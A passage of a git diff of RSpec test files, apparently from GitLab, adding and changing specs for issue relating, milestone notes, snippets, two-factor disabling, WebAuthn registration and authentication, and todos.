end
end
diff --git a/spec/services/projects/update_service_spec.rb b/spec/services/projects/update_service_spec.rb
index 4a613f42556..7832d727220 100644
--- a/spec/services/projects/update_service_spec.rb
+++ b/spec/services/projects/update_service_spec.rb
@@ -272,7 +272,7 @@ RSpec.describe Projects::UpdateService do
result = update_project(project, user, project_feature_attributes:
{ issues_access_level: ProjectFeature::PRIVATE }
- )
+ )
expect(result).to eq({ status: :success })
expect(project.project_feature.issues_access_level).to be(ProjectFeature::PRIVATE)
@@ -325,20 +325,9 @@ RSpec.describe Projects::UpdateService do
expect(project.errors.messages[:base]).to include('There is already a repository with that name on disk')
end
- it 'renames the project without upgrading it' do
- result = update_project(project, admin, path: 'new-path')
-
- expect(result).not_to include(status: :error)
- expect(project).to be_valid
- expect(project.errors).to be_empty
- expect(project.disk_path).to include('new-path')
- expect(project.reload.hashed_storage?(:repository)).to be_falsey
- end
-
context 'when hashed storage is enabled' do
before do
stub_application_setting(hashed_storage_enabled: true)
- stub_feature_flags(skip_hashed_storage_upgrade: false)
end
it 'migrates project to a hashed storage instead of renaming the repo to another legacy name' do
@@ -349,22 +338,6 @@ RSpec.describe Projects::UpdateService do
expect(project.errors).to be_empty
expect(project.reload.hashed_storage?(:repository)).to be_truthy
end
-
- context 'when skip_hashed_storage_upgrade feature flag is enabled' do
- before do
- stub_feature_flags(skip_hashed_storage_upgrade: true)
- end
-
- it 'renames the project without upgrading it' do
- result = update_project(project, admin, path: 'new-path')
-
- expect(result).not_to include(status: :error)
- expect(project).to be_valid
- expect(project.errors).to be_empty
- expect(project.disk_path).to include('new-path')
- expect(project.reload.hashed_storage?(:repository)).to be_falsey
- end
- end
end
end
@@ -412,32 +385,6 @@ RSpec.describe Projects::UpdateService do
subject
end
-
- context 'when `async_update_pages_config` is disabled' do
- before do
- stub_feature_flags(async_update_pages_config: false)
- end
-
- it 'calls Projects::UpdatePagesConfigurationService when pages are deployed' do
- project.mark_pages_as_deployed
-
- expect(Projects::UpdatePagesConfigurationService)
- .to receive(:new)
- .with(project)
- .and_call_original
-
- subject
- end
-
- it "does not update pages config when pages aren't deployed" do
- project.mark_pages_as_not_deployed
-
- expect(Projects::UpdatePagesConfigurationService)
- .not_to receive(:new)
-
- subject
- end
- end
end
context 'when updating #pages_https_only', :https_pages_enabled do
@@ -532,14 +479,14 @@ RSpec.describe Projects::UpdateService do
attributes_for(:prometheus_service,
project: project,
properties: { api_url: "http://new.prometheus.com", manual_configuration: "0" }
- )
+ )
end
let!(:prometheus_service) do
create(:prometheus_service,
project: project,
properties: { api_url: "http://old.prometheus.com", manual_configuration: "0" }
- )
+ )
end
it 'updates existing record' do
@@ -556,7 +503,7 @@ RSpec.describe Projects::UpdateService do
attributes_for(:prometheus_service,
project: project,
properties: { api_url: "http://example.prometheus.com", manual_configuration: "0" }
- )
+ )
end
it 'creates new record' do
@@ -572,7 +519,7 @@ RSpec.describe Projects::UpdateService do
attributes_for(:prometheus_service,
project: project,
properties: { api_url: nil, manual_configuration: "1" }
- )
+ )
end
it 'does not create new record' do
diff --git a/spec/services/quick_actions/interpret_service_spec.rb b/spec/services/quick_actions/interpret_service_spec.rb
index 57e32b1aea9..b970a48051f 100644
--- a/spec/services/quick_actions/interpret_service_spec.rb
+++ b/spec/services/quick_actions/interpret_service_spec.rb
@@ -1644,6 +1644,103 @@ RSpec.describe QuickActions::InterpretService do
end
end
end
+
+ context 'relate command' do
+ let_it_be_with_refind(:group) { create(:group) }
+
+ shared_examples 'relate command' do
+ it 'relates issues' do
+ service.execute(content, issue)
+
+ expect(IssueLink.where(source: issue).map(&:target)).to match_array(issues_related)
+ end
+ end
+
+ context 'user is member of group' do
+ before do
+ group.add_developer(developer)
+ end
+
+ context 'relate a single issue' do
+ let(:other_issue) { create(:issue, project: project) }
+ let(:issues_related) { [other_issue] }
+ let(:content) { "/relate #{other_issue.to_reference}" }
+
+ it_behaves_like 'relate command'
+ end
+
+ context 'relate multiple issues at once' do
+ let(:second_issue) { create(:issue, project: project) }
+ let(:third_issue) { create(:issue, project: project) }
+ let(:issues_related) { [second_issue, third_issue] }
+ let(:content) { "/relate #{second_issue.to_reference} #{third_issue.to_reference}" }
+
+ it_behaves_like 'relate command'
+ end
+
+ context 'empty relate command' do
+ let(:issues_related) { [] }
+ let(:content) { '/relate' }
+
+ it_behaves_like 'relate command'
+ end
+
+ context 'already having related issues' do
+ let(:second_issue) { create(:issue, project: project) }
+ let(:third_issue) { create(:issue, project: project) }
+ let(:issues_related) { [second_issue, third_issue] }
+ let(:content) { "/relate #{third_issue.to_reference(project)}" }
+
+ before do
+ create(:issue_link, source: issue, target: second_issue)
+ end
+
+ it_behaves_like 'relate command'
+ end
+
+ context 'cross project' do
+ let(:another_group) { create(:group, :public) }
+ let(:other_project) { create(:project, group: another_group) }
+
+ before do
+ another_group.add_developer(developer)
+ end
+
+ context 'relate a cross project issue' do
+ let(:other_issue) { create(:issue, project: other_project) }
+ let(:issues_related) { [other_issue] }
+ let(:content) { "/relate #{other_issue.to_reference(project)}" }
+
+ it_behaves_like 'relate command'
+ end
+
+ context 'relate multiple cross projects issues at once' do
+ let(:second_issue) { create(:issue, project: other_project) }
+ let(:third_issue) { create(:issue, project: other_project) }
+ let(:issues_related) { [second_issue, third_issue] }
+ let(:content) { "/relate #{second_issue.to_reference(project)} #{third_issue.to_reference(project)}" }
+
+ it_behaves_like 'relate command'
+ end
+
+ context 'relate a non-existing issue' do
+ let(:issues_related) { [] }
+ let(:content) { "/relate imaginary##{non_existing_record_iid}" }
+
+ it_behaves_like 'relate command'
+ end
+
+ context 'relate a private issue' do
+ let(:private_project) { create(:project, :private) }
+ let(:other_issue) { create(:issue, project: private_project) }
+ let(:issues_related) { [] }
+ let(:content) { "/relate #{other_issue.to_reference(project)}" }
+
+ it_behaves_like 'relate command'
+ end
+ end
+ end
+ end
end
describe '#explain' do
diff --git a/spec/services/releases/create_service_spec.rb b/spec/services/releases/create_service_spec.rb
index ad4696b0074..90648340b66 100644
--- a/spec/services/releases/create_service_spec.rb
+++ b/spec/services/releases/create_service_spec.rb
@@ -202,7 +202,7 @@ RSpec.describe Releases::CreateService do
let(:last_release) { project.releases.last }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
subject { service.execute }
diff --git a/spec/services/resource_events/synthetic_milestone_notes_builder_service_spec.rb b/spec/services/resource_events/synthetic_milestone_notes_builder_service_spec.rb
index 5e3afeabee7..1b35e224e98 100644
--- a/spec/services/resource_events/synthetic_milestone_notes_builder_service_spec.rb
+++ b/spec/services/resource_events/synthetic_milestone_notes_builder_service_spec.rb
@@ -6,20 +6,23 @@ RSpec.describe ResourceEvents::SyntheticMilestoneNotesBuilderService do
describe '#execute' do
let_it_be(:user) { create(:user) }
let_it_be(:issue) { create(:issue, author: user) }
+ let_it_be(:milestone) { create(:milestone, project: issue.project) }
- before do
- create_list(:resource_milestone_event, 3, issue: issue)
-
- stub_feature_flags(track_resource_milestone_change_events: false)
+ let_it_be(:events) do
+ [
+ create(:resource_milestone_event, issue: issue, milestone: milestone, action: :add, created_at: '2020-01-01 04:00'),
+ create(:resource_milestone_event, issue: issue, milestone: milestone, action: :remove, created_at: '2020-01-02 08:00')
+ ]
end
- context 'when resource milestone events are disabled' do
- # https://gitlab.com/gitlab-org/gitlab/-/issues/212985
- it 'still builds notes for existing resource milestone events' do
- notes = described_class.new(issue, user).execute
+ it 'builds milestone notes for resource milestone events' do
+ notes = described_class.new(issue, user).execute
- expect(notes.size).to eq(3)
- end
+ expect(notes.map(&:created_at)).to eq(events.map(&:created_at))
+ expect(notes.map(&:note)).to eq([
+ "changed milestone to %#{milestone.iid}",
+ 'removed milestone'
+ ])
end
end
end
diff --git a/spec/services/snippets/create_service_spec.rb b/spec/services/snippets/create_service_spec.rb
index 2106a9c2045..b7fb5a98d06 100644
--- a/spec/services/snippets/create_service_spec.rb
+++ b/spec/services/snippets/create_service_spec.rb
@@ -313,6 +313,7 @@ RSpec.describe Snippets::CreateService do
it_behaves_like 'creates repository and files'
it_behaves_like 'after_save callback to store_mentions', ProjectSnippet
it_behaves_like 'when snippet_actions param is present'
+ it_behaves_like 'invalid params error response'
context 'when uploaded files are passed to the service' do
let(:extra_opts) { { files: ['foo'] } }
@@ -340,6 +341,7 @@ RSpec.describe Snippets::CreateService do
it_behaves_like 'creates repository and files'
it_behaves_like 'after_save callback to store_mentions', PersonalSnippet
it_behaves_like 'when snippet_actions param is present'
+ it_behaves_like 'invalid params error response'
context 'when the snippet description contains files' do
include FileMoverHelpers
diff --git a/spec/services/snippets/update_service_spec.rb b/spec/services/snippets/update_service_spec.rb
index 638fe1948fd..641fc56294a 100644
--- a/spec/services/snippets/update_service_spec.rb
+++ b/spec/services/snippets/update_service_spec.rb
@@ -479,6 +479,22 @@ RSpec.describe Snippets::UpdateService do
expect(blob.data).to eq content
end
end
+
+ context 'when the file_path is not present' do
+ let(:snippet_actions) { [{ action: :move, previous_path: file_path }] }
+
+ it 'generates the name for the renamed file' do
+ old_blob = blob(file_path)
+
+ expect(blob('snippetfile1.txt')).to be_nil
+ expect(subject).to be_success
+
+ new_blob = blob('snippetfile1.txt')
+
+ expect(new_blob).to be_present
+ expect(new_blob.data).to eq old_blob.data
+ end
+ end
end
context 'delete action' do
@@ -682,6 +698,7 @@ RSpec.describe Snippets::UpdateService do
it_behaves_like 'when snippet_actions param is present'
it_behaves_like 'only file_name is present'
it_behaves_like 'only content is present'
+ it_behaves_like 'invalid params error response'
it_behaves_like 'snippets spam check is performed' do
before do
subject
@@ -709,6 +726,7 @@ RSpec.describe Snippets::UpdateService do
it_behaves_like 'when snippet_actions param is present'
it_behaves_like 'only file_name is present'
it_behaves_like 'only content is present'
+ it_behaves_like 'invalid params error response'
it_behaves_like 'snippets spam check is performed' do
before do
subject
diff --git a/spec/services/static_site_editor/config_service_spec.rb b/spec/services/static_site_editor/config_service_spec.rb
new file mode 100644
index 00000000000..5fff4e0af53
--- /dev/null
+++ b/spec/services/static_site_editor/config_service_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe StaticSiteEditor::ConfigService do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+
+ # params
+ let(:ref) { double(:ref) }
+ let(:path) { double(:path) }
+ let(:return_url) { double(:return_url) }
+
+ # stub data
+ let(:generated_data) { { generated: true } }
+ let(:file_data) { { file: true } }
+
+ describe '#execute' do
+ subject(:execute) do
+ described_class.new(
+ container: project,
+ current_user: user,
+ params: {
+ ref: ref,
+ path: path,
+ return_url: return_url
+ }
+ ).execute
+ end
+
+ context 'when insufficient permission' do
+ it 'returns an error' do
+ expect(execute).to be_error
+ expect(execute.message).to eq('Insufficient permissions to read configuration')
+ end
+ end
+
+ context 'for developer' do
+ before do
+ project.add_developer(user)
+
+ allow_next_instance_of(Gitlab::StaticSiteEditor::Config::GeneratedConfig) do |config|
+ allow(config).to receive(:data) { generated_data }
+ end
+
+ allow_next_instance_of(Gitlab::StaticSiteEditor::Config::FileConfig) do |config|
+ allow(config).to receive(:data) { file_data }
+ end
+ end
+
+ it 'returns merged generated data and config file data' do
+ expect(execute).to be_success
+ expect(execute.payload).to eq(generated: true, file: true)
+ end
+
+ it 'returns an error if any keys would be overwritten by the merge' do
+ generated_data[:duplicate_key] = true
+ file_data[:duplicate_key] = true
+ expect(execute).to be_error
+ expect(execute.message).to match(/duplicate key.*duplicate_key.*found/i)
+ end
+ end
+ end
+end
diff --git a/spec/services/submit_usage_ping_service_spec.rb b/spec/services/submit_usage_ping_service_spec.rb
index 450af68d383..2082a163b29 100644
--- a/spec/services/submit_usage_ping_service_spec.rb
+++ b/spec/services/submit_usage_ping_service_spec.rb
@@ -68,15 +68,15 @@ RSpec.describe SubmitUsagePingService do
end
end
- shared_examples 'saves DevOps score data from the response' do
+ shared_examples 'saves DevOps report data from the response' do
it do
expect { subject.execute }
- .to change { DevOpsScore::Metric.count }
+ .to change { DevOpsReport::Metric.count }
.by(1)
- expect(DevOpsScore::Metric.last.leader_issues).to eq 10.2
- expect(DevOpsScore::Metric.last.instance_issues).to eq 3.2
- expect(DevOpsScore::Metric.last.percentage_issues).to eq 31.37
+ expect(DevOpsReport::Metric.last.leader_issues).to eq 10.2
+ expect(DevOpsReport::Metric.last.instance_issues).to eq 3.2
+ expect(DevOpsReport::Metric.last.percentage_issues).to eq 31.37
end
end
@@ -123,15 +123,15 @@ RSpec.describe SubmitUsagePingService do
stub_response(body: with_conv_index_params)
end
- it_behaves_like 'saves DevOps score data from the response'
+ it_behaves_like 'saves DevOps report data from the response'
end
- context 'when DevOps score data is passed' do
+ context 'when DevOps report data is passed' do
before do
stub_response(body: with_dev_ops_score_params)
end
- it_behaves_like 'saves DevOps score data from the response'
+ it_behaves_like 'saves DevOps report data from the response'
end
context 'with save_raw_usage_data feature enabled' do
diff --git a/spec/services/system_note_service_spec.rb b/spec/services/system_note_service_spec.rb
index 969e5955609..47b8621b5c9 100644
--- a/spec/services/system_note_service_spec.rb
+++ b/spec/services/system_note_service_spec.rb
@@ -74,15 +74,37 @@ RSpec.describe SystemNoteService do
end
end
- describe '.change_milestone' do
- let(:milestone) { double }
+ describe '.relate_issue' do
+ let(:noteable_ref) { double }
+ let(:noteable) { double }
+
+ before do
+ allow(noteable).to receive(:project).and_return(double)
+ end
it 'calls IssuableService' do
expect_next_instance_of(::SystemNotes::IssuablesService) do |service|
- expect(service).to receive(:change_milestone).with(milestone)
+ expect(service).to receive(:relate_issue).with(noteable_ref)
end
- described_class.change_milestone(noteable, project, author, milestone)
+ described_class.relate_issue(noteable, noteable_ref, double)
+ end
+ end
+
+ describe '.unrelate_issue' do
+ let(:noteable_ref) { double }
+ let(:noteable) { double }
+
+ before do
+ allow(noteable).to receive(:project).and_return(double)
+ end
+
+ it 'calls IssuableService' do
+ expect_next_instance_of(::SystemNotes::IssuablesService) do |service|
+ expect(service).to receive(:unrelate_issue).with(noteable_ref)
+ end
+
+ described_class.unrelate_issue(noteable, noteable_ref, double)
end
end
@@ -313,6 +335,7 @@ RSpec.describe SystemNoteService do
let(:success_message) { "SUCCESS: Successfully posted to http://jira.example.net." }
before do
+ stub_jira_service_test
stub_jira_urls(jira_issue.id)
jira_service_settings
end
@@ -705,4 +728,17 @@ RSpec.describe SystemNoteService do
described_class.new_alert_issue(alert, alert.issue, author)
end
end
+
+ describe '.create_new_alert' do
+ let(:alert) { build(:alert_management_alert) }
+ let(:monitoring_tool) { 'Prometheus' }
+
+ it 'calls AlertManagementService' do
+ expect_next_instance_of(SystemNotes::AlertManagementService) do |service|
+ expect(service).to receive(:create_new_alert).with(monitoring_tool)
+ end
+
+ described_class.create_new_alert(alert, monitoring_tool)
+ end
+ end
end
diff --git a/spec/services/system_notes/alert_management_service_spec.rb b/spec/services/system_notes/alert_management_service_spec.rb
index 943d7f55af4..4ebaa54534c 100644
--- a/spec/services/system_notes/alert_management_service_spec.rb
+++ b/spec/services/system_notes/alert_management_service_spec.rb
@@ -7,6 +7,19 @@ RSpec.describe ::SystemNotes::AlertManagementService do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:noteable) { create(:alert_management_alert, :with_issue, :acknowledged, project: project) }
+ describe '#create_new_alert' do
+ subject { described_class.new(noteable: noteable, project: project).create_new_alert('Some Service') }
+
+ it_behaves_like 'a system note' do
+ let(:author) { User.alert_bot }
+ let(:action) { 'new_alert_added' }
+ end
+
+ it 'has the appropriate message' do
+ expect(subject.note).to eq('logged an alert from **Some Service**')
+ end
+ end
+
describe '#change_alert_status' do
subject { described_class.new(noteable: noteable, project: project, author: author).change_alert_status(noteable) }
diff --git a/spec/services/system_notes/issuables_service_spec.rb b/spec/services/system_notes/issuables_service_spec.rb
index 1b5b26d90da..fec2a711dc2 100644
--- a/spec/services/system_notes/issuables_service_spec.rb
+++ b/spec/services/system_notes/issuables_service_spec.rb
@@ -13,6 +13,38 @@ RSpec.describe ::SystemNotes::IssuablesService do
let(:service) { described_class.new(noteable: noteable, project: project, author: author) }
+ describe '#relate_issue' do
+ let(:noteable_ref) { create(:issue) }
+
+ subject { service.relate_issue(noteable_ref) }
+
+ it_behaves_like 'a system note' do
+ let(:action) { 'relate' }
+ end
+
+ context 'when issue marks another as related' do
+ it 'sets the note text' do
+ expect(subject.note).to eq "marked this issue as related to #{noteable_ref.to_reference(project)}"
+ end
+ end
+ end
+
+ describe '#unrelate_issue' do
+ let(:noteable_ref) { create(:issue) }
+
+ subject { service.unrelate_issue(noteable_ref) }
+
+ it_behaves_like 'a system note' do
+ let(:action) { 'unrelate' }
+ end
+
+ context 'when issue relation is removed' do
+ it 'sets the note text' do
+ expect(subject.note).to eq "removed the relation with #{noteable_ref.to_reference(project)}"
+ end
+ end
+ end
+
describe '#change_assignee' do
subject { service.change_assignee(assignee) }
@@ -96,64 +128,6 @@ RSpec.describe ::SystemNotes::IssuablesService do
end
end
- describe '#change_milestone' do
- subject { service.change_milestone(milestone) }
-
- context 'for a project milestone' do
- let(:milestone) { create(:milestone, project: project) }
-
- it_behaves_like 'a system note' do
- let(:action) { 'milestone' }
- end
-
- context 'when milestone added' do
- it 'sets the note text' do
- reference = milestone.to_reference(format: :iid)
-
- expect(subject.note).to eq "changed milestone to #{reference}"
- end
-
- it_behaves_like 'a note with overridable created_at'
- end
-
- context 'when milestone removed' do
- let(:milestone) { nil }
-
- it 'sets the note text' do
- expect(subject.note).to eq 'removed milestone'
- end
-
- it_behaves_like 'a note with overridable created_at'
- end
- end
-
- context 'for a group milestone' do
- let(:milestone) { create(:milestone, group: group) }
-
- it_behaves_like 'a system note' do
- let(:action) { 'milestone' }
- end
-
- context 'when milestone added' do
- it 'sets the note text to use the milestone name' do
- expect(subject.note).to eq "changed milestone to #{milestone.to_reference(format: :name)}"
- end
-
- it_behaves_like 'a note with overridable created_at'
- end
-
- context 'when milestone removed' do
- let(:milestone) { nil }
-
- it 'sets the note text' do
- expect(subject.note).to eq 'removed milestone'
- end
-
- it_behaves_like 'a note with overridable created_at'
- end
- end
- end
-
describe '#change_status' do
subject { service.change_status(status, source) }
diff --git a/spec/services/task_list_toggle_service_spec.rb b/spec/services/task_list_toggle_service_spec.rb
index 276f2ae435e..81f80ee926a 100644
--- a/spec/services/task_list_toggle_service_spec.rb
+++ b/spec/services/task_list_toggle_service_spec.rb
@@ -119,7 +119,7 @@ RSpec.describe TaskListToggleService do
<<-EOT.strip_heredoc
> > * [ ] Task 1
> * [x] Task 2
- EOT
+ EOT
markdown_html = parse_markdown(markdown)
toggler = described_class.new(markdown, markdown_html,
@@ -140,7 +140,7 @@ RSpec.describe TaskListToggleService do
* [ ] Task 1
* [x] Task 2
- EOT
+ EOT
markdown_html = parse_markdown(markdown)
toggler = described_class.new(markdown, markdown_html,
@@ -158,7 +158,7 @@ RSpec.describe TaskListToggleService do
<<-EOT.strip_heredoc
- - [ ] Task 1
- [x] Task 2
- EOT
+ EOT
markdown_html = parse_markdown(markdown)
toggler = described_class.new(markdown, markdown_html,
@@ -175,7 +175,7 @@ RSpec.describe TaskListToggleService do
<<-EOT.strip_heredoc
1. - [ ] Task 1
- [x] Task 2
- EOT
+ EOT
markdown_html = parse_markdown(markdown)
toggler = described_class.new(markdown, markdown_html,
diff --git a/spec/services/todo_service_spec.rb b/spec/services/todo_service_spec.rb
index 94d4b61933d..60903f8f367 100644
--- a/spec/services/todo_service_spec.rb
+++ b/spec/services/todo_service_spec.rb
@@ -65,6 +65,40 @@ RSpec.describe TodoService do
end
end
+ shared_examples 'reassigned reviewable target' do
+ context 'with no existing reviewers' do
+ let(:assigned_reviewers) { [] }
+
+ it 'creates a pending todo for new reviewer' do
+ target.reviewers = [john_doe]
+ service.send(described_method, target, author)
+
+ should_create_todo(user: john_doe, target: target, action: Todo::REVIEW_REQUESTED)
+ end
+ end
+
+ context 'with an existing reviewer' do
+ let(:assigned_reviewers) { [john_doe] }
+
+ it 'does not create a todo if unassigned' do
+ target.reviewers = []
+
+ should_not_create_any_todo { service.send(described_method, target, author) }
+ end
+
+ it 'creates a todo if new reviewer is the current user' do
+ target.reviewers = [john_doe]
+ service.send(described_method, target, john_doe)
+
+ should_create_todo(user: john_doe, target: target, author: john_doe, action: Todo::REVIEW_REQUESTED)
+ end
+
+ it 'does not create a todo if already assigned' do
+ should_not_create_any_todo { service.send(described_method, target, author, [john_doe]) }
+ end
+ end
+ end
+
describe 'Issues' do
let(:issue) { create(:issue, project: project, assignees: [john_doe], author: author, description: "- [ ] Task 1\n- [ ] Task 2 #{mentions}") }
let(:addressed_issue) { create(:issue, project: project, assignees: [john_doe], author: author, description: "#{directly_addressed}\n- [ ] Task 1\n- [ ] Task 2") }
@@ -160,6 +194,19 @@ RSpec.describe TodoService do
should_create_todo(user: john_doe, target: issue)
end
end
+
+ context 'issue is an incident' do
+ let(:issue) { create(:incident, project: project, assignees: [john_doe], author: author) }
+
+ subject do
+ service.new_issue(issue, author)
+ should_create_todo(user: john_doe, target: issue, action: Todo::ASSIGNED)
+ end
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_todo do
+ let(:current_user) { john_doe}
+ end
+ end
end
describe '#update_issue' do
@@ -605,6 +652,17 @@ RSpec.describe TodoService do
end
end
+ describe '#reassigned_reviewable' do
+ let(:described_method) { :reassigned_reviewable }
+
+ context 'reviewable is a merge request' do
+ it_behaves_like 'reassigned reviewable target' do
+ let(:assigned_reviewers) { [] }
+ let(:target) { create(:merge_request, source_project: project, author: author, reviewers: assigned_reviewers) }
+ end
+ end
+ end
+
describe 'Merge Requests' do
let(:mr_assigned) { create(:merge_request, source_project: project, author: author, assignees: [john_doe], description: "- [ ] Task 1\n- [ ] Task 2 #{mentions}") }
let(:addressed_mr_assigned) { create(:merge_request, source_project: project, author: author, assignees: [john_doe], description: "#{directly_addressed}\n- [ ] Task 1\n- [ ] Task 2") }
diff --git a/spec/services/two_factor/destroy_service_spec.rb b/spec/services/two_factor/destroy_service_spec.rb
new file mode 100644
index 00000000000..3df4d1593c6
--- /dev/null
+++ b/spec/services/two_factor/destroy_service_spec.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe TwoFactor::DestroyService do
+ let_it_be(:current_user) { create(:user) }
+
+ subject { described_class.new(current_user, user: user).execute }
+
+ context 'disabling two-factor authentication' do
+ shared_examples_for 'does not send notification email' do
+ context 'notification', :mailer do
+ it 'does not send a notification' do
+ perform_enqueued_jobs do
+ subject
+ end
+
+ should_not_email(user)
+ end
+ end
+ end
+
+ context 'when the user does not have two-factor authentication enabled' do
+ let(:user) { current_user }
+
+ it 'returns error' do
+ expect(subject).to eq(
+ {
+ status: :error,
+ message: 'Two-factor authentication is not enabled for this user'
+ }
+ )
+ end
+
+ it_behaves_like 'does not send notification email'
+ end
+
+ context 'when the user has two-factor authentication enabled' do
+ context 'when the executor is not authorized to disable two-factor authentication' do
+ context 'disabling the two-factor authentication of another user' do
+ let(:user) { create(:user, :two_factor) }
+
+ it 'returns error' do
+ expect(subject).to eq(
+ {
+ status: :error,
+ message: 'You are not authorized to perform this action'
+ }
+ )
+ end
+
+ it 'does not disable two-factor authentication' do
+ expect { subject }.not_to change { user.reload.two_factor_enabled? }.from(true)
+ end
+
+ it_behaves_like 'does not send notification email'
+ end
+ end
+
+ context 'when the executor is authorized to disable two-factor authentication' do
+ shared_examples_for 'disables two-factor authentication' do
+ it 'returns success' do
+ expect(subject).to eq({ status: :success })
+ end
+
+ it 'disables the two-factor authentication of the user' do
+ expect { subject }.to change { user.reload.two_factor_enabled? }.from(true).to(false)
+ end
+
+ context 'notification', :mailer do
+ it 'sends a notification' do
+ perform_enqueued_jobs do
+ subject
+ end
+
+ should_email(user)
+ end
+ end
+ end
+
+ context 'disabling their own two-factor authentication' do
+ let(:current_user) { create(:user, :two_factor) }
+ let(:user) { current_user }
+
+ it_behaves_like 'disables two-factor authentication'
+ end
+
+ context 'admin disables the two-factor authentication of another user' do
+ let(:current_user) { create(:admin) }
+ let(:user) { create(:user, :two_factor) }
+
+ it_behaves_like 'disables two-factor authentication'
+ end
+ end
+ end
+ end
+end
diff --git a/spec/services/users/signup_service_spec.rb b/spec/services/users/signup_service_spec.rb
index cc234309817..7169401ab34 100644
--- a/spec/services/users/signup_service_spec.rb
+++ b/spec/services/users/signup_service_spec.rb
@@ -48,12 +48,27 @@ RSpec.describe Users::SignupService do
expect(user.reload.setup_for_company).to be(false)
end
- it 'returns an error result when setup_for_company is missing' do
- result = update_user(user, setup_for_company: '')
+ context 'when on .com' do
+ before do
+ allow(Gitlab).to receive(:com?).and_return(true)
+ end
- expect(user.reload.setup_for_company).not_to be_blank
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to eq("Setup for company can't be blank")
+ it 'returns an error result when setup_for_company is missing' do
+ result = update_user(user, setup_for_company: '')
+
+ expect(user.reload.setup_for_company).not_to be_blank
+ expect(result[:status]).to eq(:error)
+ expect(result[:message]).to eq("Setup for company can't be blank")
+ end
+ end
+
+ context 'when not on .com' do
+ it 'returns success when setup_for_company is blank' do
+ result = update_user(user, setup_for_company: '')
+
+ expect(result).to eq(status: :success)
+ expect(user.reload.setup_for_company).to be(nil)
+ end
end
end
diff --git a/spec/services/webauthn/authenticate_service_spec.rb b/spec/services/webauthn/authenticate_service_spec.rb
new file mode 100644
index 00000000000..61f64f24f5e
--- /dev/null
+++ b/spec/services/webauthn/authenticate_service_spec.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require 'webauthn/fake_client'
+
+RSpec.describe Webauthn::AuthenticateService do
+ let(:client) { WebAuthn::FakeClient.new(origin) }
+ let(:user) { create(:user) }
+ let(:challenge) { Base64.strict_encode64(SecureRandom.random_bytes(32)) }
+
+ let(:origin) { 'http://localhost' }
+
+ before do
+ create_result = client.create(challenge: challenge) # rubocop:disable Rails/SaveBang
+
+ webauthn_credential = WebAuthn::Credential.from_create(create_result)
+
+ registration = WebauthnRegistration.new(credential_xid: Base64.strict_encode64(webauthn_credential.raw_id),
+ public_key: webauthn_credential.public_key,
+ counter: 0,
+ name: 'name',
+ user_id: user.id)
+ registration.save!
+ end
+
+ describe '#execute' do
+ it 'returns true if the response is valid and a matching stored credential is present' do
+ get_result = client.get(challenge: challenge)
+
+ get_result['clientExtensionResults'] = {}
+ service = Webauthn::AuthenticateService.new(user, get_result.to_json, challenge)
+
+ expect(service.execute).to be_truthy
+ end
+
+ it 'returns false if the response is valid but no matching stored credential is present' do
+ other_client = WebAuthn::FakeClient.new(origin)
+ other_client.create(challenge: challenge) # rubocop:disable Rails/SaveBang
+
+ get_result = other_client.get(challenge: challenge)
+
+ get_result['clientExtensionResults'] = {}
+ service = Webauthn::AuthenticateService.new(user, get_result.to_json, challenge)
+
+ expect(service.execute).to be_falsey
+ end
+ end
+end
diff --git a/spec/services/webauthn/register_service_spec.rb b/spec/services/webauthn/register_service_spec.rb
new file mode 100644
index 00000000000..bb9fa2080d2
--- /dev/null
+++ b/spec/services/webauthn/register_service_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require 'webauthn/fake_client'
+
+RSpec.describe Webauthn::RegisterService do
+ let(:client) { WebAuthn::FakeClient.new(origin) }
+ let(:user) { create(:user) }
+ let(:challenge) { Base64.strict_encode64(SecureRandom.random_bytes(32)) }
+
+ let(:origin) { 'http://localhost' }
+
+ describe '#execute' do
+ it 'returns a registration if challenge matches' do
+ create_result = client.create(challenge: challenge) # rubocop:disable Rails/SaveBang
+ webauthn_credential = WebAuthn::Credential.from_create(create_result)
+
+ params = { device_response: create_result.to_json, name: 'abc' }
+ service = Webauthn::RegisterService.new(user, params, challenge)
+
+ registration = service.execute
+ expect(registration.credential_xid).to eq(Base64.strict_encode64(webauthn_credential.raw_id))
+ expect(registration.errors.size).to eq(0)
+ end
+
+ it 'returns an error if challenge does not match' do
+ create_result = client.create(challenge: Base64.strict_encode64(SecureRandom.random_bytes(16))) # rubocop:disable Rails/SaveBang
+
+ params = { device_response: create_result.to_json, name: 'abc' }
+ service = Webauthn::RegisterService.new(user, params, challenge)
+
+ registration = service.execute
+ expect(registration.errors.size).to eq(1)
+ end
+ end
+end
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index 68beef40c0b..11a83bd9501 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -15,6 +15,7 @@ require 'rspec/retry'
require 'rspec-parameterized'
require 'shoulda/matchers'
require 'test_prof/recipes/rspec/let_it_be'
+require 'test_prof/factory_default'
rspec_profiling_is_configured =
ENV['RSPEC_PROFILING_POSTGRES_URL'].present? ||
@@ -46,10 +47,10 @@ require_relative('../ee/spec/spec_helper') if Gitlab.ee?
require Rails.root.join("spec/support/helpers/git_helpers.rb")
# Then the rest
-Dir[Rails.root.join("spec/support/helpers/*.rb")].each { |f| require f }
-Dir[Rails.root.join("spec/support/shared_contexts/*.rb")].each { |f| require f }
-Dir[Rails.root.join("spec/support/shared_examples/*.rb")].each { |f| require f }
-Dir[Rails.root.join("spec/support/**/*.rb")].each { |f| require f }
+Dir[Rails.root.join("spec/support/helpers/*.rb")].sort.each { |f| require f }
+Dir[Rails.root.join("spec/support/shared_contexts/*.rb")].sort.each { |f| require f }
+Dir[Rails.root.join("spec/support/shared_examples/*.rb")].sort.each { |f| require f }
+Dir[Rails.root.join("spec/support/**/*.rb")].sort.each { |f| require f }
quality_level = Quality::TestLevel.new
@@ -99,6 +100,10 @@ RSpec.configure do |config|
metadata[:enable_admin_mode] = true if location =~ %r{(ee)?/spec/controllers/admin/}
end
